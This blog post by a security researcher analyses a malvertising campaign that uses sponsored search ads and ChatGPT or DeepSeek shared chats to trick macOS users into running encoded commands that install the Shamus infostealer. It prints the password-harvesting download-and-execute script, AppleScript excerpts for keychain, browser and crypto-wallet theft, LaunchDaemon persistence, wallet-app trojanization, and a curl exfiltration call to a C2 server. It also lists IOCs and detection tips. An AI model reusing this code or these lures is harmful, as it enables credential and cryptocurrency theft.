Break.
Published on

Leveraging Malvertising and LLM Shared Chats to Steal Your Passwords and Crypto

Authors
  • Name
    Miguel
    Twitter

Leveraging Malvertising and LLM Shared Chats to Steal Your Passwords and Crypto


Discovery

While browsing Reddit's r/chatgpt subreddit, I came across a post that caught my attention. A user reported that after searching Google for "how to clear storage on mac", they were directed to a sponsored search result that led them to a ChatGPT shared chat.

This shared chat contained what appeared to be instructions for clearing storage on macOS, but instead of legitimate guidance, it contained malicious commands.

The suspicious Reddit post

When replicating a similar search on Google, I was able to see the sponsored posts the user was referring to.

Google search sponsored results

The shared chat includes instructions on how to run a terminal command in order to clean up your Mac's memory.

Shared Chat from ChatGPT present in Sponsored Google Results

When decoded, this points to https://nonnida.com/cleangpt.

The DeepSeek shared chat is similar, but the endpoint used is different:

Shared Chat from DeepSeek present in Sponsored Google Results

This one decodes to https://nonnida.com/wallet

Both endpoints return a similar bash script:

#!/bin/bash

username=$(whoami)

while true; do
  echo -n "System Password: "
  read password
  echo

  if dscl . -authonly "$username" "$password" >/dev/null 2>&1; then
    echo -n "$password" > /tmp/.pass
    break
  else
    echo "Incorrect password! Try again."
  fi
done

curl -o /tmp/update https://nonnida.com/crypto/update >/dev/null 2>&1
echo "$password" | sudo -S xattr -c /tmp/update >/dev/null 2>&1
chmod +x /tmp/update
/tmp/update

Before continuing onto deeper malware analysis, I just wanted to make a note that this is a clever malvertising technique, that I am seeing for the first time.

These threat actors are exploiting the ability to share likely custom GPT (or similar LLM) chats publicly, configuring them to provide malicious terminal commands for specific queries like "how to clear storage on Mac."

By distributing these shared chat links through sponsored ads, attackers can easily bypass platform-level safety checks and deliver targeted, harmful instructions to users.

Attackers are using sponsored Google search results to redirect users to legitimate-looking LLM shared chats that contain malicious payloads.

The Attack Chain

Initial Infection Vector

The attack begins with a user searching for common macOS troubleshooting queries. Sponsored search results redirect to shared LLM chats (ChatGPT, DeepSeek, etc.) that appear legitimate but contain malicious commands. The commands are obfuscated using base64 encoding to avoid immediate detection.

Password Harvesting Script

The DeepSeek variant downloads a bash script that performs the following:

  1. Password Prompt: Creates a loop that prompts the user for their system password
  2. Password Validation: Uses dscl . -authonly to validate the password
  3. Password Storage: Saves the password to /tmp/.pass
  4. Malware Download: Downloads https://nonnida.com/crypto/update to /tmp/update
  5. Privilege Escalation: Uses the captured password with sudo -S to remove quarantine attributes and execute the malware

Malware Analysis

The downloaded binary (/tmp/update) is a native macOS binary with interesting obfuscation and multiple encoded payloads.

Since my reverse engineering skills are somewhat limited, I should admit I used LLMs to help with the decompilation process.

Binary Structure

The malware uses a multi-stage decoding process:

  1. Arithmetic + XOR Encoding: Each payload blob is encoded using arithmetic operations combined with XOR using three constant tables per blob
  2. Custom 6-bit Decoder: A Base64-like decoder driven by a hash-table alphabet
  3. AppleScript Execution: Decoded content is AppleScript, executed via osascript or system()

Arithmetic + XOR Encoding

The program does a simple XOR decode of the encrypted applescript content present in constant tables.

XOR Encoding

Custom 6-bit Decoder

The malware uses a Base64-like decoder, but instead of a normal alphabet, it hides the alphabet inside a small hash table.

Each character is looked up through this table to get a 6-bit value. These 6-bit chunks are accumulated until there are at least 8 bits available, then one output byte is produced. This lets the malware decode its hidden strings while keeping the alphabet and the decoded data hard to see during static analysis. This prevents a quick strings execution or string search in Ghidra from returning any results.

6-bit decoder

After being able to understand how the malware decodes its strings, I was able to vibe-code a decoder for the hidden strings within its contents.

The decoder revealed this was a sample for Shamus, a known info/cryptostealer, which has been widely reported on.

Shamus Applescript

This being said, I was still curious to look at the content of the executed applescript.

Decoded Components

The malware contains three main decoded payloads:

1. VM/Sandbox Detection (dec1)

The first payload performs environment checks to avoid analysis:

system_profiler SPMemoryDataType
system_profiler SPHardwareDataType

It checks for indicators of virtualized or sandboxed environments:

  • QEMU, VMware, KVM strings
  • Specific hardware serial numbers
  • "Chip: Unknown" or "Intel Core 2" processors

If any of these are detected, the malware exits with code 100 to avoid execution in analysis environments.

2. Terminal Hiding (dec3)

A small shell snippet that detaches the process and kills the Terminal:

disown; pkill Terminal

This hides ongoing malicious activity from the user.

3. Main Stealer/Installer (dec2)

The largest payload is a comprehensive AppleScript that performs data exfiltration, persistence installation, and application trojanization. This is the core of the malware's functionality, containing over 800 lines of AppleScript code.

The script begins by setting global configuration flags:

set release to true
set filegrabbers to true

These flags control whether the malware will:

  • release: Steal Safari cookies and Apple Notes data
  • filegrabbers: Extract files from Desktop/Documents/Downloads folders

The script immediately hides the Terminal window to avoid detection:

tell application "Terminal" to set visible of the front window to false

Utility Functions

The AppleScript includes several helper functions for file operations:

  • filesizer(paths): Uses mdls -name kMDItemFSSize to get file sizes, used for limiting total exfiltrated data
  • mkdir(someItem): Creates directories using mkdir -p
  • FileName(filePath): Extracts just the filename from a full path
  • BeforeFileName(filePath): Gets the directory path (everything before the filename)
  • writeText(textToWrite, filePath): Writes text to files, creating parent directories as needed
  • readwrite(path_to_file, path_as_save): Copies files using shell cat command
  • readwrite2(path_to_file, path_as_save): Copies files using Finder's duplicate command (for files that may be locked)
  • isDirectory(someItem): Checks if a path is a directory using file -b

Initialization and Setup

The script creates a random temporary directory for staging stolen data:

set randomNumber to do shell script "echo $((RANDOM % 9000 + 1000))"
set writemind to "/tmp/" & randomNumber & "/"

This random 4-digit number helps avoid detection by creating unique paths for each infection.

The script then collects system information:

system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType

This information is written to writemind & "info" and includes details about the operating system, hardware, and display configuration.

Credential Harvesting

The script implements a sophisticated password harvesting mechanism through the getpwd() function:

  1. Password Validation: Uses checkvalid(username, password_entered) which calls:

    dscl . -authonly <username> <password>
    

    If the command returns an empty string, the password is valid.

  2. Password Retrieval Strategy:

    • First, attempts to read /tmp/.pass (set by the initial bash script)
    • If the file exists and contains a valid password, it's used immediately
    • If no valid password is found, the script displays a fake macOS dialog:
display dialog "Required Application Helper. Please enter password for continue." 
default answer "" with icon caution buttons {"Continue"} 
default button "Continue" giving up after 150 
with title "System Preferences" with hidden answer

This dialog mimics a legitimate macOS system prompt, tricking users into entering their password.

The password is then used throughout the script for privilege escalation via:

echo <password> | sudo -S <command>

Data Exfiltration Capabilities

The malware is designed to steal a wide range of sensitive data using specialized functions for each data type.

Browser Data Theft

Chromium-based Browsers

The chromium() function targets 12 different Chromium-based browsers:

  • Chrome, Chrome Beta, Chrome Canary, Chrome Dev
  • Brave, Edge, Vivaldi, Opera, OperaGX
  • Chromium, Arc, Coccoc

For each browser, the script:

  1. Locates the browser's profile directory in ~/Library/Application Support/
  2. Iterates through all profiles (Default, Profile 1, Profile 2, etc.)
  3. Extracts the following files from each profile:
    • /Cookies
    • /History
    • /Web Data
    • /Login Data
    • /Local Extension Settings/
    • /IndexedDB/

The script uses the grabPlugins() function to specifically target cryptocurrency wallet browser extensions. It maintains a hardcoded list of 200+ extension IDs (including MetaMask and other popular wallet extensions) and extracts:

  • The entire extension directory from /Local Extension Settings/
  • IndexedDB data from /IndexedDB/
  • Local Storage data from leveldb/ directories

Firefox-based Browsers

The parseFF() function targets Firefox, Waterfox, and Pale Moon by:

  1. Locating profiles in ~/Library/Application Support/Firefox/Profiles/ (and similar paths for Waterfox/Pale Moon)
  2. For each profile, extracting:
    • cookies.sqlite
    • formhistory.sqlite
    • key4.db
    • logins.json

Cryptocurrency Wallet Theft

The deskwallets() function targets 15 different desktop cryptocurrency wallets:

Bitcoin and Altcoin Wallets:

  • Electrum (~/.electrum/wallets/)
  • Electrum LTC (~/.electrum-ltc/wallets/)
  • Electron Cash (~/.electron-cash/wallets/)
  • Bitcoin Core (~/Library/Application Support/Bitcoin/wallets/)
  • Litecoin Core (~/Library/Application Support/Litecoin/wallets/)
  • Dash Core (~/Library/Application Support/DashCore/wallets/)
  • Dogecoin Core (~/Library/Application Support/Dogecoin/wallets/)

Multi-currency Wallets:

  • Coinomi (~/Library/Application Support/Coinomi/wallets/)
  • Exodus (~/Library/Application Support/Exodus/)
  • Atomic (~/Library/Application Support/atomic/Local Storage/leveldb/)
  • Wasabi (~/.walletwasabi/client/Wallets/)
  • Guarda (~/Library/Application Support/Guarda/)

Hardware Wallet Software:

  • Ledger Live (~/Library/Application Support/Ledger Live/)
  • Trezor Suite (~/Library/Application Support/@trezor/suite-desktop/)

Other:

  • Monero (~/Monero/wallets/)
  • Binance (~/Library/Application Support/Binance/app-store.json)
  • TonKeeper (~/Library/Application Support/@tonkeeper/desktop/config.json)

The script recursively copies entire wallet directories using the GrabFolder() function, which:

  • Skips certain directories (.DS_Store, Cache, Code Cache, etc.)
  • Handles both files and subdirectories
  • Preserves the directory structure for analysis

System Data Theft

macOS Keychain

The script directly copies the user's login keychain:

readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "keychain")

This keychain file contains:

  • Saved passwords
  • WiFi passwords
  • Certificate private keys
  • Secure notes

File Grabber

The filegrabber() function searches Desktop, Documents, and Downloads folders for files with specific extensions:

# File extensions targeted by filegrabber():
txt pdf docx doc wallet key keys json db

Other Data

  • Telegram: Copies entire tdata/ directory from ~/Library/Application Support/Telegram Desktop/
  • OpenVPN: Copies VPN profiles from ~/Library/Application Support/OpenVPN Connect/profiles/
  • Username: Writes the current username to writemind & "username" for C2 tracking

Persistence Mechanisms

LaunchDaemon Backdoor

The installBot() function establishes persistent access by installing a LaunchDaemon that runs as root. Here's the detailed process:

Step 1: Download Bot Binary

The script downloads the main bot binary from the C2 server:

set botPath to (quoted form of (profile & "/.helper"))
do shell script "curl -o " & botPath & " https://" & botUrl & "/zxc/app"
do shell script "chmod +x " & botPath

The bot is saved to ~/.helper and made executable.

Step 2: Create Agent Script

The script creates ~/.agent, a bash script that runs the bot as the logged-in user:

while true; do
    osascript <<EOF
    set loginContent to do shell script "stat -f \"%Su\" /dev/console"
    if loginContent is not equal to "" and loginContent is not equal to "root"
        do shell script "sudo -u " & quoted form of loginContent & " ~/.helper"
    end if
EOF
    sleep 1
done

This script:

  • Runs in an infinite loop
  • Every second, checks who the logged-in user is via /dev/console
  • If a non-root user is logged in, runs the bot binary as that user
  • This ensures the bot runs with the user's permissions and access to their data

Step 3: Create LaunchDaemon Plist

The script generates a LaunchDaemon plist XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.finder.helper</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>~/.agent</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
</dict>
</plist>

Key properties:

  • Label: com.finder.helper - The service identifier
  • ProgramArguments: Runs /bin/bash ~/.agent
  • RunAtLoad: true - Starts immediately when loaded
  • KeepAlive: true - Automatically restarts if the process dies

Step 4: Install as Root

The script writes the plist to /tmp/starter, then installs it using the captured password:

do shell script "echo " & quoted form of pwd & " | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist"
do shell script "echo " & quoted form of pwd & " | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist"
do shell script "echo " & quoted form of pwd & " | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist"

This ensures:

  • The LaunchDaemon runs as root (system-level persistence)
  • It survives reboots
  • It automatically restarts if terminated
  • The bot binary runs with user permissions (via the agent script)

Application Trojanization

The replaceApp() function replaces legitimate cryptocurrency wallet applications with trojanized versions. This is particularly dangerous because it allows attackers to intercept transactions even when users use hardware wallets.

Ledger Live Replacement

The process for replacing Ledger Live:

  1. Check if app exists:

    set appPath to "/Applications/Ledger Live.app"
    list folder POSIX file appPath
    

    If the app doesn't exist, the function exits.

  2. Create marker file:

    writeText("user13", pr & "/.private")
    

    This creates ~/.private with content "user13" - likely a tracking identifier.

  3. Download trojanized app:

    do shell script "curl https://" & appUrl & "/zxc/app.zip -o /tmp/app.zip"
    
  4. Kill running instance:

    do shell script "pkill \"Ledger Live\""
    

    This ensures the app isn't running when it's replaced.

  5. Remove original app (requires root):

    do shell script "echo " & quoted form of pass & " | sudo -S rm -r " & quoted form of appPath
    
  6. Install trojanized version:

    do shell script "unzip /tmp/app.zip -d /Applications"
    do shell script "rm /tmp/app.zip"
    

Data Exfiltration

After collecting all the data, the script packages and exfiltrates everything to the attacker's C2 server.

Data Packaging

  1. Collection Directory: All stolen data is gathered in a randomly-named temporary directory:

    set randomNumber to do shell script "echo $((RANDOM % 9000 + 1000))"
    set writemind to "/tmp/" & randomNumber & "/"
    

    This creates a directory like /tmp/4521/ to avoid detection.

  2. Archive Contents: The zip file contains:

    • info - System information from system_profiler
    • username - Current username
    • pwd - Captured system password
    • masterpass-chrome - Chrome master password (if extracted)
    • keychain - Complete macOS keychain database
    • Chromium/ - Browser data from all Chromium-based browsers
    • ff/ - Firefox profile data
    • deskwallets/ - All cryptocurrency wallet files
    • FileGrabber/ - Stolen files from Desktop/Documents/Downloads
    • Telegram Data/ - Telegram session data
    • OpenVPN/ - VPN profiles

C2 Communication

The send_data() function handles exfiltration with retry logic:

on send_data(attempt, gate, login, buildid, cl, cn)
    try
        set result_send to (do shell script "curl -X POST -H \"user: " 
                & login & "\" -H \"BuildID: " 
                & buildid & "\" -H \"cl: " & cl & "\" -H \"cn: " 
                & cn & "\" -F \"file=@/tmp/out.zip\" " & gate & "/contact")
    on error
        if attempt < 15 then
            delay 60
            send_data(attempt + 1, gate, login, buildid, cl, cn)
        end if
    end try
end send_data

C2 Configuration:

  • C2 Server: http://45.94.47.205/contact
  • HTTP Method: POST
  • Content Type: multipart/form-data
  • Custom Headers:
    • user: a/6dlqUxbj9TgSaX6GryP01wQD3fh-SmmFFnnZXttiU= (User ID)
    • BuildID: k9b-b/WBcpIWdsUmT/ur/pqvVSIgWgC2ZruLQFWHQSk= (Build ID)
    • cn: 0 (Don't exactly know what this is)
  • Form Data: file=@/tmp/out.zip (the compressed archive)

Indicators of Compromise (IOCs)

Domains

Domain/IPPurpose
nonnida.comInitial payload delivery
45.94.47.205C2 server

File Paths

PathDescription
/tmp/.passPassword storage
/tmp/updateInitial malware binary
~/.helperBot binary
~/.agentAgent script
~/.usernameUsername storage
~/.privateMarker file
/Library/LaunchDaemons/com.finder.helper.plistLaunchDaemon persistence

Network Indicators

MethodEndpointPurpose
POSThttp://45.94.47.205/contactData exfiltration
GEThttps://<botUrl>/zxc/appBot binary download
GEThttps://<botUrl>/zxc/app.zipTrojanized Ledger Live app
GEThttps://<botUrl>/zxc/apptwo.zipTrojanized Trezor Suite app

Process Indicators

TypeIndicator
LaunchDaemoncom.finder.helper
Process~/.helper running as logged-in user

Detection Recommendations

Behavioral Detection

  1. Base64 Decoding in Terminal: Monitor for base64 decoding followed by curl commands
  2. Password Prompt Scripts: Detect scripts that prompt for system passwords
  3. LaunchDaemon Creation: Alert on creation of LaunchDaemons in /Library/LaunchDaemons/
  4. Application Replacement: Monitor for removal and replacement of cryptocurrency wallet applications
  5. Mass Data Collection: Detect processes accessing multiple browser profiles and wallet directories

File System Monitoring

  • Monitor for creation of ~/.helper, ~/.agent, ~/.pass, ~/.username
  • Alert on LaunchDaemon plist creation matching com.finder.helper
  • Monitor for removal of Ledger Live or Trezor Suite applications

Conclusion

This campaign demonstrates a sophisticated attack chain that combines:

  • Malvertising via sponsored search results
  • Social engineering through legitimate-looking LLM shared chats
  • Multi-stage malware with VM detection and obfuscation
  • Very extensive data theft targeting browsers, wallets, and system credentials
  • Persistent backdoors via LaunchDaemons
  • Application trojanization for long-term access

This is the first time I've seen LLM shared chats being used for malware distribution, and the malware was pretty fun to reverse engineer as well.

As always, users should be extremely cautious when executing commands found online, especially those that require system passwords or administrative privileges.